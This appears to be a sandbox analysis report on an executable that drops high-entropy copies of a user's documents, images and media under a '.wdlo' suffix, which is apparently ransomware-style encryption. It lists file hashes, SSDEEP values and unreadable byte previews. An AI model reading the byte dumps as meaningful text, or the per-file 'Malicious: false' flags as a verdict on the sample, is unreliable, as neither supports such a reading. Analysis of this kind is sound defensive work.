Preview:	BJZFPn.....e...l.+...V..Y.~[..U..=.UM...X..E.@.I.=.QW.P......I.;..6N?6&...2..p......YV2c..Q..9..=.w.5.......K..K.Y.......z.y.%D........Yn.../..%e.....j...1x.. @.v.}Eb8EX.I..];.)X&3k.....w...]*3HDRWp...>...y.J.....i{;...!...q.^-w.dar......e%.:..}......@t&...G..w..\|....Y`r.L...z....0J.l....9...m.l....u..D....t...x.[.....uF\|5.n,{..4.......vy2Q.........D..$.^.C....E:LDE.l(....2z...y%.Z.2...:.....P.....Y.r.I.wd.7.^.I. ...]a...l.ATy2p..t.ua........._.p..!.e,r-.. .%...k..A.5.B...I2......nB...X..L......~q]....-........R61...5..C...WY~.nWu.....h..:Vz.BG....7q`.....C`dk.!.V...c_.Dxn~.....0..7...+....1"....C9I..+.7.7NCb.3f....V.....X;_..7.Z....b.5B.]......,YZz.......=R..#Z.Py.L..@../.......Y.../6....GB{.,..R...(..].Zy...DV.S.z.}f.1s.EGg.....Py...q..~.96O..(..6..iK.?I7s._!.@..T.dHi...Zm......F.L.,....F..Qr3I.@5...;.R..'..I:N.zW..C.....h.pO@....T(..cS....%...w;)F..(.`...E7.2.u.Q7.>.S....bY...c...w/P...!...%X..+"[.D&...e]...6...I..D.:]... ...b..!..L-....

C:\Users\user\Documents\EEGWXUHVUG\EEGWXUHVUG.docx

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.845755953166802
Encrypted:	false
SSDEEP:	24:jJZcKuyH2D2BVTIZQYn/piNPwket5JC2MSbvFU5MpoM/kSUZSlxw2p6SR3zbD:jJd32qkDn/pmPXyC2FvPK+tlxx6SR3nD
MD5:	639D7606AC106705EED86DF882EE8F00
SHA1:	ADED8A910C166CB55BCEF813CAD0C99ED6EB7519
SHA-256:	6A96A99DB3D606838D0C135AA937970C894D957E60BF262C7281D2FB22AE86B5
SHA-512:	8B6EE48C08598342BDEEEBBBAE930F5E5EDAB75503EA4908845826EADD9C32255F47EF7213FBF98E0A30F8E2DCAF63802414A7BBDF8488D862FEDC90CDC88441
Malicious:	false
Preview:	EEGWXb.kl..U..8.u....hI..r.....D...y ..A..[.g.,.....z./...M........O..R...R<.)A..j.G.t....,...gp..k....b....W%...D.2.9i...;.352`.Y5.kc....x..f.b...+..re0'p.......g...q.\|p....r....J.S.....OV=..{G.S..@N....0....(...M.)..CYs..y?.-...0Y...0..u.e....s.E..)..5...NC..J...M.u.....J+.(.4...3....AbT/...s..FD_..<.:..5!.(.....}.k.uA.6......[.....#./.....<...s.w.bI..I&..q..=......}Z.g...C...(.4:...\|{8...MWt~...C<-...6L9..^..m8B.6..l. ..<.v.^o.6......WF1U0 ..X..I..5..Q..<.\...N...Gb...s#..v&.....`<.+.)..#...G.=z...T..4.P;.......t...Qk}.)I....Q......M.."..).....Rt~....@...X.XyT~r..,j........<j,...`.q_}..!PdM.tI...d@g{.b"#..6....J9.$...1.ud...@+`..t.^.T2)...[....].A.p...."v..../...?.H...../.")...j.wN.....nU.......S..l..7..fc_"..2.=.....^..La.$.j.....w.75a._S=.:.>...aj.dm.g.ncx...c.....U..[.....?A.......C..8.......yVQ..%..s.I.~v...>3...;..f..;&>.....Y .+.l...B.I.(?e..{I.z.u...{3j.$....k^O3.........o.B..B.... -..f..EV....7.@b6B;.+:.......R.VO.

C:\Users\user\Documents\EEGWXUHVUG\EEGWXUHVUG.docx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.845755953166802
Encrypted:	false
SSDEEP:	24:jJZcKuyH2D2BVTIZQYn/piNPwket5JC2MSbvFU5MpoM/kSUZSlxw2p6SR3zbD:jJd32qkDn/pmPXyC2FvPK+tlxx6SR3nD
MD5:	639D7606AC106705EED86DF882EE8F00
SHA1:	ADED8A910C166CB55BCEF813CAD0C99ED6EB7519
SHA-256:	6A96A99DB3D606838D0C135AA937970C894D957E60BF262C7281D2FB22AE86B5
SHA-512:	8B6EE48C08598342BDEEEBBBAE930F5E5EDAB75503EA4908845826EADD9C32255F47EF7213FBF98E0A30F8E2DCAF63802414A7BBDF8488D862FEDC90CDC88441
Malicious:	false
Preview:	EEGWXb.kl..U..8.u....hI..r.....D...y ..A..[.g.,.....z./...M........O..R...R<.)A..j.G.t....,...gp..k....b....W%...D.2.9i...;.352`.Y5.kc....x..f.b...+..re0'p.......g...q.\|p....r....J.S.....OV=..{G.S..@N....0....(...M.)..CYs..y?.-...0Y...0..u.e....s.E..)..5...NC..J...M.u.....J+.(.4...3....AbT/...s..FD_..<.:..5!.(.....}.k.uA.6......[.....#./.....<...s.w.bI..I&..q..=......}Z.g...C...(.4:...\|{8...MWt~...C<-...6L9..^..m8B.6..l. ..<.v.^o.6......WF1U0 ..X..I..5..Q..<.\...N...Gb...s#..v&.....`<.+.)..#...G.=z...T..4.P;.......t...Qk}.)I....Q......M.."..).....Rt~....@...X.XyT~r..,j........<j,...`.q_}..!PdM.tI...d@g{.b"#..6....J9.$...1.ud...@+`..t.^.T2)...[....].A.p...."v..../...?.H...../.")...j.wN.....nU.......S..l..7..fc_"..2.=.....^..La.$.j.....w.75a._S=.:.>...aj.dm.g.ncx...c.....U..[.....?A.......C..8.......yVQ..%..s.I.~v...>3...;..f..;&>.....Y .+.l...B.I.(?e..{I.z.u...{3j.$....k^O3.........o.B..B.... -..f..EV....7.@b6B;.+:.......R.VO.

C:\Users\user\Documents\EEGWXUHVUG\EFOYFBOLXA.pdf

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.877013708005999
Encrypted:	false
SSDEEP:	24:kIJRLD4KARHHUlfL2M7Z6Hv9HNXqCZ+y/gwVAqFd/KoneJ4ATFD0CZn8caTiptX4:kIJRo3yzH675Xmyd/SDFDnmSMD8zC+kT
MD5:	338F5C400536B2F8F45542A5E4774C3A
SHA1:	D00CBD6A272762111CA19CDD64688088AC19FDE0
SHA-256:	F202893C45FEBD660A0AE8DBCA4E1A334ABADBDBCFABB1BD0CEC59CC6443FC86
SHA-512:	5D844940BA4202FA740950E0BECCCBFC4AD9D52F00F136A663120D9D723C5C864A98A8B9C530941B41564BB5731A789DA7ADD14CFDC2BA63C34550BB6C6EB417
Malicious:	false
Preview:	EFOYF.c"..._..(...nJ>62....y..}...U......a.t.........7.i.C.\|..%...;...(w..S.x...:P....-......m.....IS..E.5.8....}...V.Y....Ha..[;..mq...b....Q)...KT..Z.`...].I.~.h....ii...}ef=.mh..."...W.........!0.f.,..D.=]...4......N.o.....d......m.^..%.r..^......r...k..w........~..~.!.L..D.....*......>d...../..........r}..z...B}.....f..Y.........vjFE$.\|].-p`....euv3s}....f`.3..f.A....Z..B{..i.;....y..m..F...m.l.n...WbI?.3..C..n...I......q.....Z..v..p\|...].......i.jT#.a...'..r..l....d.v......._.A.AC......Fg.F\..0.LB..N.B2\|...P..<=s2.e..Z.0_.v<...X...f6.O=Z..)..a...x....J..hX.`.s.G_.Y......e.J...YP..^..\..m..>t..Y...'...9..>.v:.+v)...o..yz.......Q.0.'-0..TV..f.>...k.\@{}.....Z...&....9..E.c....J..{.....2........#...<..F.m..S..aw...i.....;z[.....Pt.d...E.W..../.."h....E1.-......_A!...bV?..5>I...3..u.~...r..}#.m..H.gX( +.%.........._V.s+.B..%.L..>..n..Pq(.... ..6..`...k....5Q...M]t...Y...:zS....,....{...<......,&`/.......)..mz.....:...>..9.wGjX

C:\Users\user\Documents\EEGWXUHVUG\EFOYFBOLXA.pdf.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.877013708005999
Encrypted:	false
SSDEEP:	24:kIJRLD4KARHHUlfL2M7Z6Hv9HNXqCZ+y/gwVAqFd/KoneJ4ATFD0CZn8caTiptX4:kIJRo3yzH675Xmyd/SDFDnmSMD8zC+kT
MD5:	338F5C400536B2F8F45542A5E4774C3A
SHA1:	D00CBD6A272762111CA19CDD64688088AC19FDE0
SHA-256:	F202893C45FEBD660A0AE8DBCA4E1A334ABADBDBCFABB1BD0CEC59CC6443FC86
SHA-512:	5D844940BA4202FA740950E0BECCCBFC4AD9D52F00F136A663120D9D723C5C864A98A8B9C530941B41564BB5731A789DA7ADD14CFDC2BA63C34550BB6C6EB417
Malicious:	false
Preview:	EFOYF.c"..._..(...nJ>62....y..}...U......a.t.........7.i.C.\|..%...;...(w..S.x...:P....-......m.....IS..E.5.8....}...V.Y....Ha..[;..mq...b....Q)...KT..Z.`...].I.~.h....ii...}ef=.mh..."...W.........!0.f.,..D.=]...4......N.o.....d......m.^..%.r..^......r...k..w........~..~.!.L..D.....*......>d...../..........r}..z...B}.....f..Y.........vjFE$.\|].-p`....euv3s}....f`.3..f.A....Z..B{..i.;....y..m..F...m.l.n...WbI?.3..C..n...I......q.....Z..v..p\|...].......i.jT#.a...'..r..l....d.v......._.A.AC......Fg.F\..0.LB..N.B2\|...P..<=s2.e..Z.0_.v<...X...f6.O=Z..)..a...x....J..hX.`.s.G_.Y......e.J...YP..^..\..m..>t..Y...'...9..>.v:.+v)...o..yz.......Q.0.'-0..TV..f.>...k.\@{}.....Z...&....9..E.c....J..{.....2........#...<..F.m..S..aw...i.....;z[.....Pt.d...E.W..../.."h....E1.-......_A!...bV?..5>I...3..u.~...r..}#.m..H.gX( +.%.........._V.s+.B..%.L..>..n..Pq(.... ..6..`...k....5Q...M]t...Y...:zS....,....{...<......,&`/.......)..mz.....:...>..9.wGjX

C:\Users\user\Documents\EEGWXUHVUG\GRXZDKKVDB.jpg

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.839406327161067
Encrypted:	false
SSDEEP:	24:8o6zONKiw05uh5t7W2eHY2K0o63opoMHWnentUxTrz62KoBnMkoY3zbD:8ViN5MtKY2e64oAkct+JKoekZ3nD
MD5:	CE84B5E1DC3B948ADBF3BD5FF90ACD68
SHA1:	068192AD5E7B7E963536D2705EAE5C67FFB65542
SHA-256:	9E6B69C89CE082A32BE3C9227018B352C3CDF197FCC47E99F210852381A26F5E
SHA-512:	3FACC536F8424355A84CBA829C8E6A70E1D6D3452C1E0AB6A52D49AA972B39A5451C3F9DAFB53EDDDDCC0C4FB933F326B343FA6546165D6F76DBAFC61B47C28C
Malicious:	false
Preview:	GRXZD.......+..Y.....2?..%d.^5.0H#J..>.ul.x.B..X..h.}Y..O..e"ekPV-..$.......}.m.=ON.....,H.......s...W..g.....:'a1....$i......._...%K.ks...\|KR..S....ty.7..7..Yr.N..WY .j~.............K.~....3.4^-L..>.S.>q.c[...7L7..9.r.&knA.!..h......a..\|K.^'..6.....!s...{/....qW.bf..9i...Y.-L.9O.V.U(.zz...{HCA.%.....N...X..zx.H.Q.%.........Ra>).kgL.Gb..JfH......0..^.. .-Y.J.K+...I..3.F...v..\5:...%c...G...J.:..6.v=4w..MPP.n ..7......{J.{..7s..G?4..H..g..7..p.%...1$Rj!.^(. ...)g...D.BN.._lc8.k..x..._jL.\~..n........U.l....~.[O.;D...,.....[\..M.J?......Gp.\...........z.].(2N....0b...F......2.W..'+..%.6b..A..0s)A:.]+...i.F{.r7....'.q......}.[.cN.j,....(\|..S....,.B.^.a.3...;..du.........@.A......]5aD..".r....!6P...I@.aK..v.....{..F{kB7U......T..%....O......I.B..p.x...a<..n^..........o...1G...O=....C. <...7.g$.X...dR...9..$.....L[..D3.f.2....k.i.uem.g.9:,...gK..<g.\|L..1.o:.....9.t..Ub..zN..\|)..RB.a......(..L...dzvCU.R.b.>..C..V..D.h..J...0o...h.

C:\Users\user\Documents\EEGWXUHVUG\GRXZDKKVDB.jpg.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.839406327161067
Encrypted:	false
SSDEEP:	24:8o6zONKiw05uh5t7W2eHY2K0o63opoMHWnentUxTrz62KoBnMkoY3zbD:8ViN5MtKY2e64oAkct+JKoekZ3nD
MD5:	CE84B5E1DC3B948ADBF3BD5FF90ACD68
SHA1:	068192AD5E7B7E963536D2705EAE5C67FFB65542
SHA-256:	9E6B69C89CE082A32BE3C9227018B352C3CDF197FCC47E99F210852381A26F5E
SHA-512:	3FACC536F8424355A84CBA829C8E6A70E1D6D3452C1E0AB6A52D49AA972B39A5451C3F9DAFB53EDDDDCC0C4FB933F326B343FA6546165D6F76DBAFC61B47C28C
Malicious:	false
Preview:	GRXZD.......+..Y.....2?..%d.^5.0H#J..>.ul.x.B..X..h.}Y..O..e"ekPV-..$.......}.m.=ON.....,H.......s...W..g.....:'a1....$i......._...%K.ks...\|KR..S....ty.7..7..Yr.N..WY .j~.............K.~....3.4^-L..>.S.>q.c[...7L7..9.r.&knA.!..h......a..\|K.^'..6.....!s...{/....qW.bf..9i...Y.-L.9O.V.U(.zz...{HCA.%.....N...X..zx.H.Q.%.........Ra>).kgL.Gb..JfH......0..^.. .-Y.J.K+...I..3.F...v..\5:...%c...G...J.:..6.v=4w..MPP.n ..7......{J.{..7s..G?4..H..g..7..p.%...1$Rj!.^(. ...)g...D.BN.._lc8.k..x..._jL.\~..n........U.l....~.[O.;D...,.....[\..M.J?......Gp.\...........z.].(2N....0b...F......2.W..'+..%.6b..A..0s)A:.]+...i.F{.r7....'.q......}.[.cN.j,....(\|..S....,.B.^.a.3...;..du.........@.A......]5aD..".r....!6P...I@.aK..v.....{..F{kB7U......T..%....O......I.B..p.x...a<..n^..........o...1G...O=....C. <...7.g$.X...dR...9..$.....L[..D3.f.2....k.i.uem.g.9:,...gK..<g.\|L..1.o:.....9.t..Ub..zN..\|)..RB.a......(..L...dzvCU.R.b.>..C..V..D.h..J...0o...h.

C:\Users\user\Documents\EEGWXUHVUG\NVWZAPQSQL.xlsx

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8365562342106765
Encrypted:	false
SSDEEP:	24:FD6Kz6SF5nG02ai5SBN5e5tGwdBVROSJ5Em4qJChAGhPDBeuOrrqARktq+nUP3zX:FsSF5n/vN5ytnIgbjNGhPleuO7RktqRT
MD5:	EE7843022B83783FBA59270820E41632
SHA1:	B9547F24D00ECA057E6F29A71ECCC9720A5596C1
SHA-256:	C16A52128E9C259AE11D814B58C7D79A6E9C1BE5E527FF6D2E9054318458DCE7
SHA-512:	AE153780D69215A1D6A77B2A17DC9536EBE82C0E50FCB9248236DC71BED6828C425DC3AE76261E44D9D1307829377F24DB1F98968A07C75C7DEA81785F5DFCD8
Malicious:	false
Preview:	NVWZA...i....(..t...5...[...&.....:..".s.U..5.&.?,....}.u{.z}.{..rG.!...I.V.}.!..J)......";V...R.N...Z.].;..8.!.Q.....f.Wko.mh..fK...$.KZc..z!...g4,...t.Q.c..G..>k..... ...?..X.I..)_..1e......j.\.@...9qiB..d@../YV.>!..Qv.......m...vc._.[..W;T.Z`.t.."C.#.X...Z...E...Gu.....R..0..........N..3..i..k.9w}.9r.2j.P... ....?..-..?{q..E.....;z..!.6..k./.z.~..c.& .k;~!....c.K.Bi.ja>w..D.%X ...`O....ro...p..n..:...m....{F.....1.......-].[p.D............o....=<..Q.....\|.X...6.7.n...W......\|.6O.k._x.'Xf....P....8.K.p....Y4..O.M...3.A...Hoq./..-&V...C...#.fW.f.f..W,yz.}nq..........z.M.y.$......c...=c6 ....jL...(o... .)..r.....l...$B.n7%...Y..0.y..t.C.!.ER}.......0..=.-..j.{...&..C....m.x.H,ij..Iy......5....h8.90...5j..,.8\|..R^..E.5..q..5.G.j.,.^..I+.d..+.)I.I...4..Y.I.%.......M..-..-.H...In.....2...@..D`..l=......-...u....jd.)[..t+.Q{4....\.1C<.........g.f&o.9.{.Od...9Vx...%....f..!..m.J.........W.......!...F.C(.\|V..C.....tF.&..\|...t#lV..

C:\Users\user\Documents\EEGWXUHVUG\NVWZAPQSQL.xlsx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8365562342106765
Encrypted:	false
SSDEEP:	24:FD6Kz6SF5nG02ai5SBN5e5tGwdBVROSJ5Em4qJChAGhPDBeuOrrqARktq+nUP3zX:FsSF5n/vN5ytnIgbjNGhPleuO7RktqRT
MD5:	EE7843022B83783FBA59270820E41632
SHA1:	B9547F24D00ECA057E6F29A71ECCC9720A5596C1
SHA-256:	C16A52128E9C259AE11D814B58C7D79A6E9C1BE5E527FF6D2E9054318458DCE7
SHA-512:	AE153780D69215A1D6A77B2A17DC9536EBE82C0E50FCB9248236DC71BED6828C425DC3AE76261E44D9D1307829377F24DB1F98968A07C75C7DEA81785F5DFCD8
Malicious:	false
Preview:	NVWZA...i....(..t...5...[...&.....:..".s.U..5.&.?,....}.u{.z}.{..rG.!...I.V.}.!..J)......";V...R.N...Z.].;..8.!.Q.....f.Wko.mh..fK...$.KZc..z!...g4,...t.Q.c..G..>k..... ...?..X.I..)_..1e......j.\.@...9qiB..d@../YV.>!..Qv.......m...vc._.[..W;T.Z`.t.."C.#.X...Z...E...Gu.....R..0..........N..3..i..k.9w}.9r.2j.P... ....?..-..?{q..E.....;z..!.6..k./.z.~..c.& .k;~!....c.K.Bi.ja>w..D.%X ...`O....ro...p..n..:...m....{F.....1.......-].[p.D............o....=<..Q.....\|.X...6.7.n...W......\|.6O.k._x.'Xf....P....8.K.p....Y4..O.M...3.A...Hoq./..-&V...C...#.fW.f.f..W,yz.}nq..........z.M.y.$......c...=c6 ....jL...(o... .)..r.....l...$B.n7%...Y..0.y..t.C.!.ER}.......0..=.-..j.{...&..C....m.x.H,ij..Iy......5....h8.90...5j..,.8\|..R^..E.5..q..5.G.j.,.^..I+.d..+.)I.I...4..Y.I.%.......M..-..-.H...In.....2...@..D`..l=......-...u....jd.)[..t+.Q{4....\.1C<.........g.f&o.9.{.Od...9Vx...%....f..!..m.J.........W.......!...F.C(.\|V..C.....tF.&..\|...t#lV..

C:\Users\user\Documents\EEGWXUHVUG\PALRGUCVEH.mp3

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.824781663582165
Encrypted:	false
SSDEEP:	24:I3iig1+QUOV2YEEo/t2Ra9SaY0hUkfy4HJ8jH0VK5ly+180Vb7fGL03zbD:+iv0FlpRhUkHHeH2yy+1R803nD
MD5:	51C22022988F386A218D89EB2F42E01D
SHA1:	3BD663EA0CF7CA4027D2C4D8DF1D9269C9368ADA
SHA-256:	C2C2F5592A31A86E923BE213D23BD3440F59B8EA486E25862029C39E172A21C9
SHA-512:	A41AF57032DB52F93CF6FF9DB9A1B5933CEE01750AA3E366F7AC42E966FB52B61DA4A6BD9939FF202A64990699A005E824456E6F7FE5DC253F463DEB00FFB801
Malicious:	false
Preview:	PALRG.j..P...0..3m.4.TR..0.I....PF.+..<.....A......?.1..v..L.a..X.Z/..5?...B}....G.F~..P..wq.M&.....<.)6P%..j.T.`j.c.u.v.G.s.D}....4...7z2+.O...\;..u..r.(..J..Tf.o...g.._...0~..c.v..A.m.....W.........h(=&y..G.1I.];...w\|.R..c.430....... ...>....L.}s...S..<Q&..f..b$7].i..x..<..BC<]...H..JcM...7.w.{..,....B%.d.k.9)k.!vc..Cg....Us}..3B..F..Q..(R{\|....P...@....e..w......<S.a5..m.K(QA..\0n.Z...p...C..R..x?..(..rh...K...50..R.'.....s.....L...Xmi)(.9I...^.e!......\|..cxN.?.)5..G/J!......8`..w...-....yr....x.k..?.=....+.m..6.....y.....C.Z..,...o...cW.dJ.....Z(..=.jn..@<E.8'.@A..7.....;:j..[........Rr7.._&.o.Ne\E.m>-...\.h....n.........gv .u..8.A..L.ct.......GD...A.......x....D.j.:....:...!S.?.M....Ss.K#h+.{H$.X.Z&,..$y...wE...7x..:BZsF..S.#P...:...}.]7.%."<...\G...e..T.[/.lz</...y.......b..v..].....&.T.Ob...'~...........u......y.Sj.yB.J..v8.?....4........v...s[......#.p...m_b*......X.]..8.SQ... ..M.a......V...Z.....H.W-.&.....?..4.S..%.?R.X.JsP!b...g

C:\Users\user\Documents\EEGWXUHVUG\PALRGUCVEH.mp3.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.824781663582165
Encrypted:	false
SSDEEP:	24:I3iig1+QUOV2YEEo/t2Ra9SaY0hUkfy4HJ8jH0VK5ly+180Vb7fGL03zbD:+iv0FlpRhUkHHeH2yy+1R803nD
MD5:	51C22022988F386A218D89EB2F42E01D
SHA1:	3BD663EA0CF7CA4027D2C4D8DF1D9269C9368ADA
SHA-256:	C2C2F5592A31A86E923BE213D23BD3440F59B8EA486E25862029C39E172A21C9
SHA-512:	A41AF57032DB52F93CF6FF9DB9A1B5933CEE01750AA3E366F7AC42E966FB52B61DA4A6BD9939FF202A64990699A005E824456E6F7FE5DC253F463DEB00FFB801
Malicious:	false
Preview:	PALRG.j..P...0..3m.4.TR..0.I....PF.+..<.....A......?.1..v..L.a..X.Z/..5?...B}....G.F~..P..wq.M&.....<.)6P%..j.T.`j.c.u.v.G.s.D}....4...7z2+.O...\;..u..r.(..J..Tf.o...g.._...0~..c.v..A.m.....W.........h(=&y..G.1I.];...w\|.R..c.430....... ...>....L.}s...S..<Q&..f..b$7].i..x..<..BC<]...H..JcM...7.w.{..,....B%.d.k.9)k.!vc..Cg....Us}..3B..F..Q..(R{\|....P...@....e..w......<S.a5..m.K(QA..\0n.Z...p...C..R..x?..(..rh...K...50..R.'.....s.....L...Xmi)(.9I...^.e!......\|..cxN.?.)5..G/J!......8`..w...-....yr....x.k..?.=....+.m..6.....y.....C.Z..,...o...cW.dJ.....Z(..=.jn..@<E.8'.@A..7.....;:j..[........Rr7.._&.o.Ne\E.m>-...\.h....n.........gv .u..8.A..L.ct.......GD...A.......x....D.j.:....:...!S.?.M....Ss.K#h+.{H$.X.Z&,..$y...wE...7x..:BZsF..S.#P...:...}.]7.%."<...\G...e..T.[/.lz</...y.......b..v..].....&.T.Ob...'~...........u......y.Sj.yB.J..v8.?....4........v...s[......#.p...m_b*......X.]..8.SQ... ..M.a......V...Z.....H.W-.&.....?..4.S..%.?R.X.JsP!b...g

C:\Users\user\Documents\EFOYFBOLXA.docx

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.854366826506233
Encrypted:	false
SSDEEP:	24:6XXzd48y4t3jAavHgdIUx5hAvLqbBqiw9/LeOhGUHu8x/4C0pFkfeNPJ93zbD:6Td4ERgtfhaLqbfw5eOhGUXx/84exD3D
MD5:	345EC6E9B8C95DAE8BBDFC333AEA0013
SHA1:	1D2C06682FE2F808C47D50EBB9742780FDE57776
SHA-256:	1949A3E244FAF16F662BCAB3124C5D376B735DC03CDBDF2E0BE0A4F202E0139B
SHA-512:	ABA1D25DFAA924115AA51E1A8153B5A32314F8B6CC3B1AB8918B3FC9C7ABB02EFFF5B9E24F890D4F5E310B9FD1AF20C6FCC36B97A47423E59CF0C288522F681D
Malicious:	false
Preview:	EFOYFp~.....-.h21.7z.......'..........(..h7..GG..=...l...b..~-...> ...m6...=5...s..J..fO........i.7.@]..x.K.0....:..k.Cm.21.$.Pb...S?...r.7t@;....m.... .Q(.xS...&....H..s...P..oi..QT.<YL....Y.\..`..E..........$.v.?..e^.....z.j................T..m.!s...2..]z.......\gl.......E.Z.R.U?d'..e..>4..e...;dVP.jF.o-.I.P..AX1.D.'.M..Nz..$,.....i...k%.T..Bz.j..,...[....f7j)H,.....C.B...#.d.....LS.{..............:......S]....k.....J.W.%.F.....G.u......h:..2\|.@...p......?.y..L.&..Q.....J>)..U..2n.....E.n..AJ..B.S.Z.Jz....l..g%....6P).....6s.%^..h.......\cP.G.9.cdR.<..F"CpDy...2..8U.S..J#..z&......D..A.m0<..w..[.l\o..{T/.>.('p=r&m.9P..~..2K.{......I.6U<....<.\|...R{..D.,y....,,..N/Q(.......<....-F.{`N....o.N.;.\|._a....1;...\|...<..&.X....c........-....@.9.n....w.g..g.7.........5M....?&^.ua...;....3T...O..T%...c.Da....jn..D..S...m.H..L..a....a. .IG..B.....S.?;...K...L.DM....G.;..<G.{V.....{.../.....L.`...ml2.:..$.=.W.....<#.,....'F......4.

C:\Users\user\Documents\EFOYFBOLXA.docx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.854366826506233
Encrypted:	false
SSDEEP:	24:6XXzd48y4t3jAavHgdIUx5hAvLqbBqiw9/LeOhGUHu8x/4C0pFkfeNPJ93zbD:6Td4ERgtfhaLqbfw5eOhGUXx/84exD3D
MD5:	345EC6E9B8C95DAE8BBDFC333AEA0013
SHA1:	1D2C06682FE2F808C47D50EBB9742780FDE57776
SHA-256:	1949A3E244FAF16F662BCAB3124C5D376B735DC03CDBDF2E0BE0A4F202E0139B
SHA-512:	ABA1D25DFAA924115AA51E1A8153B5A32314F8B6CC3B1AB8918B3FC9C7ABB02EFFF5B9E24F890D4F5E310B9FD1AF20C6FCC36B97A47423E59CF0C288522F681D
Malicious:	false
Preview:	EFOYFp~.....-.h21.7z.......'..........(..h7..GG..=...l...b..~-...> ...m6...=5...s..J..fO........i.7.@]..x.K.0....:..k.Cm.21.$.Pb...S?...r.7t@;....m.... .Q(.xS...&....H..s...P..oi..QT.<YL....Y.\..`..E..........$.v.?..e^.....z.j................T..m.!s...2..]z.......\gl.......E.Z.R.U?d'..e..>4..e...;dVP.jF.o-.I.P..AX1.D.'.M..Nz..$,.....i...k%.T..Bz.j..,...[....f7j)H,.....C.B...#.d.....LS.{..............:......S]....k.....J.W.%.F.....G.u......h:..2\|.@...p......?.y..L.&..Q.....J>)..U..2n.....E.n..AJ..B.S.Z.Jz....l..g%....6P).....6s.%^..h.......\cP.G.9.cdR.<..F"CpDy...2..8U.S..J#..z&......D..A.m0<..w..[.l\o..{T/.>.('p=r&m.9P..~..2K.{......I.6U<....<.\|...R{..D.,y....,,..N/Q(.......<....-F.{`N....o.N.;.\|._a....1;...\|...<..&.X....c........-....@.9.n....w.g..g.7.........5M....?&^.ua...;....3T...O..T%...c.Da....jn..D..S...m.H..L..a....a. .IG..B.....S.?;...K...L.DM....G.;..<G.{V.....{.../.....L.`...ml2.:..$.=.W.....<#.,....'F......4.

C:\Users\user\Documents\EFOYFBOLXA.pdf

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.859621151961362
Encrypted:	false
SSDEEP:	24:ajnkyY3HDRK82D3OqqPLbUZ4ps1V0Q05OBAQdTJSG+zc6NZfiw693zbD:MVYXpue3PHCv8FOBAzGmcY6h93nD
MD5:	FDD72ADDD53FDBEC5094D1468E0EF858
SHA1:	4D75CFF0D5222A071B582BBD084D911B8E55EE22
SHA-256:	CB960D2E45D8DEFD937F0828E4994EC3DE1EFCA40370AC437DA7EF72026B3F4D
SHA-512:	95DA978A959454EFF674256B899C8DC1712768A7508C58871660614F91D90296D336C29CF56160BC5A869D120E33501D688134F3D4998A7B4F07BDB6505AA705
Malicious:	false
Preview:	EFOYF.D....1.)....H... .....i.>.W..I..?.b&(.4^pD.g_..=....B.....L."sm...u>.\|k..gT2..9....L..o..;U..\...3....;..=#!..s~.<.=.c.b..$...w.&.2:"&.kN.5Pl...U...%...G...p.(.W....UO.L..pA.....%.U...?.%.H...?4SN..;l.iC...?...\...1h...$I......j.....^...8....^oj....V.P....E.I......TB...'".GcQ^L5z..@...5;(J..f#,..9.b...[....4...i.YCqW.$Bh..t.I..@...z..H+N.,z..?7....b..j..#:..F.Fo....3.'.b:}.o....7..&%.....M..."M.v(.5..y.nb..Q.NX....._)..z....M4>o.\:.3...W........E'..._Ek.$..m.&....oj..Z.....c..>sI....A.ps.i......y..Cy...{JP..../.../..".O.0..0].ku.'w..s{...\,..^rO......:`.K.L..W".e(.[..x'...g...x~qn...zH......-n.....g.~......hX..N..'.T.6....q./5~.If=...1.0.Sg.u..%v._.cf6(..c.@w.5...R.Kh.`.....M;.....A.<..gx.@..s.......u.3..!...z...3..'2.....nEd.&.....'q..O....s../..O 